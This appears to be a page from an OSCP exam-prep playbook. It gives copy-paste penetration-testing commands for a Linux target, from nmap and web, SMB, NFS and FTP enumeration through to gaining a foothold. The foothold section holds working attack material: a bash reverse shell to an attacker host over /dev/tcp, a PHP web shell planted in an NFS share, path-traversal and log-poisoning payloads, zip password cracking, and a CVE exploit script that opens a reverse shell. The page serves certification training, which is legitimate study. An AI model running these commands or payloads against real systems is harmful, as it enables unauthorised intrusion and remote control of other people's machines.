// oscp playbook

Attacks by target

Pick your view — target-based checklist, port-based methodology router, live exam session tracker, or the searchable quick-reference.

Port Scanning — the two most important scans, run these first:
howlsec@kali·bash
$sudo nmap -p- --open -Pn -n -vvv $IP
$sudo nmap -p22,80 -sCV $IP

Exam Day Checklist

0/14
Set your variables once, then every command below is copy-paste ready:
howlsec@kali·bash
$export IP=10.10.10.5 # target
$export DC=10.10.10.5 # domain controller
$export DOMAIN=corp.local
$export USER=jdoe
$export PASS='Password123!'
$export LHOST=$(ip -4 addr show tun0 | grep -oP '(?<=inet )[0-9.]+')
🐧

Linux Standalone

Start at Phase 1 and work down. Each phase is ordered by how fast it usually yields root.

0/12 · 0%

Phase 1 · Enumeration

  • howlsec@kali·bash
    $sudo nmap -p- --open -Pn -n -vvv $IP
    $sudo nmap -p22,80 -sCV $IP
    $rustscan -a $IP -- -sC -sV -oN nmap/rustscan.txt
    $nmap -p- --min-rate 5000 -oN nmap/all.txt $IP
    $nmap -sC -sV -p<ports> -oN nmap/svc.txt $IP
  • howlsec@kali·bash
    $feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
    $whatweb http://$IP && nikto -h http://$IP
  • howlsec@kali·bash
    $smbclient -L //$IP -N
    $showmount -e $IP
    $ftp -n $IP
    $redis-cli -h $IP info
  • howlsec@kali·bash
    $ftp -n $IP
    $# user: ftp / pass: ftp OR anonymous / anonymous
    $mget *
  • howlsec@kali·bash
    $showmount -e $IP
    $mkdir -p /mnt/nfs && sudo mount -t nfs $IP:/share /mnt/nfs
    $ls -la /mnt/nfs
  • howlsec@kali·bash
    $wpscan --url http://$IP --enumerate u,ap,at
    $# Try username-as-password on discovered users
    $# Check /etc/hosts if page loads without CSS/images
  • howlsec@kali·bash
    $git log --all --oneline
    $git log -p --all -S 'password'
    $git show <commit-hash>

Phase 2 · Foothold

  • howlsec@kali·bash
    $searchsploit <service> <version>
    $searchsploit -m <edb-id>
  • howlsec@kali·bash
    $rlwrap nc -lvnp 4444
    $bash -c 'bash -i >& /dev/tcp/$LHOST/4444 0>&1'
    $python3 -c 'import pty;pty.spawn("/bin/bash")'
    $# (Ctrl-Z on attacker) → stty raw -echo; fg → export TERM=xterm
  • howlsec@kali·bash
    $# Create shell.php in NFS share or writable dir:
    $echo '<?php system($_GET["cmd"]); ?>' > /mnt/nfs/shell.php
    $# In WordPress page, add shortcode:
    $[post-slides skin="../../../../../../../../../../../../../../var/nfs/documents/shell"]
    $# Or via URL: curl 'http://$IP/?page=../../../../../../../var/log/apache2/access.log&cmd=id'
  • howlsec@kali·bash
    $zip2john app.zip > zip.hash
    $john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
    $unzip app.zip
  • howlsec@kali·bash
    $# Verify version: login → click About → check for 1.6.10 or vulnerable
    $# Exploit: https://github.com/fearsoff-org/CVE-2025-49113
    $python3 exploit.py -u http://$IP/roundcube -l $LHOST -p 4444
    $# Or manually: craft the RCE payload to execute reverse shell